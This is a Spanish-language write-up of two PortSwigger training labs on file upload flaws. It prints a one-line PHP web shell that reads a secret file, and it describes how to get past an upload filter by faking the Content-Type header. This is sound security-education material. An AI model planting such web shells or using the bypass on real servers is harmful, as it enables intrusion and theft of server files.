> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/web-security/laboratorios-portswigger/file-upload-vulnerabilities.md).

# File upload vulnerabilities

## Lab: Remote code execution via web shell upload

## Enunciado

Este laboratorio contiene una **función vulnerable de carga de imágenes**, que **no realiza ninguna validación** sobre los archivos que los usuarios suben antes de almacenarlos en el sistema de archivos del servidor. **Subir una web shell básica en PHP**, usarla para **extraer el contenido del archivo `/home/carlos/secret`**, y **enviar ese secreto** utilizando el botón provisto en el banner del laboratorio. Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:\
**Usuario:** `wiener`\
**Contraseña:** `peter`

## Resolución

Nos logueamos y vemos que podemos subir un archivo por lo que creamos una shell básica y la subimos.

```
<?php echo file_get_contents('/home/carlos/secret'); ?>
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FiiYI0dBtjpPGlHy30Spz%2Fimage.png?alt=media&amp;token=94d934fb-8c61-46c4-af47-eed0d356089e" alt=""><figcaption></figcaption></figure>

Vemos la petición de donde está el archivo.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FI0Do2o3xbAA8rKfjzzgk%2Fimage.png?alt=media&amp;token=17e65c23-1cc3-48df-b81e-f8173700f033" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtcYxKk3VguHYPAsnHld1%2Fimage.png?alt=media&amp;token=2aa9b118-a6bc-463f-850a-b0ae52517e8a" alt=""><figcaption></figcaption></figure>

## Lab: Web shell upload via Content-Type restriction bypass

## Enunciado

Este laboratorio contiene una **función vulnerable de carga de imágenes**. Intenta evitar que los usuarios suban tipos de archivos no permitidos, pero **confía en datos que el propio usuario puede manipular** para hacer esa verificación. **Subir una web shell básica en PHP**, usarla para **extraer el contenido del archivo `/home/carlos/secret`**, y **enviar ese secreto** utilizando el botón del banner del laboratorio.

Puedes iniciar sesión en tu propia cuenta con las siguientes credenciales:\
**Usuario:** `wiener`\
**Contraseña:** `peter`

## Resolución

Nos logueamos y al intentar subir archivos podemos subir archivos con ciertas extensiones.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FPo3Dgc0vYEZWjYBRFVe1%2Fimage.png?alt=media&amp;token=69ca53aa-3c9f-44ae-933b-5e4b0c27ccac" alt=""><figcaption></figcaption></figure>

Vemos la petición.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F08Sl9fZG7bCQcCvejZch%2Fimage.png?alt=media&amp;token=cdb63480-7781-4934-aaf5-df6d7aecc997" alt=""><figcaption></figcaption></figure>

Tal como dice el enunciado vamos a cambiarle el **Content-Type** por uno válido.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhIfsMleQbCnemMm8HJCr%2FCaptura%20de%20pantalla%202025-06-24%20225747.png?alt=media&amp;token=6f5448e2-ddeb-422b-b39c-62fc30747be3" alt=""><figcaption></figcaption></figure>

Vemos la ruta donde se ha subido.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F1u7N84gGo9jIJ14UQHUd%2FCaptura%20de%20pantalla%202025-06-24%20225905.png?alt=media&amp;token=6fac191a-3427-4e45-bf5b-a4791ba4096b" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FywRfBoOsqk6X9YkpaUfp%2Fimage.png?alt=media&amp;token=57de6633-f080-4174-8ce3-914715880fd4" alt=""><figcaption></figcaption></figure>
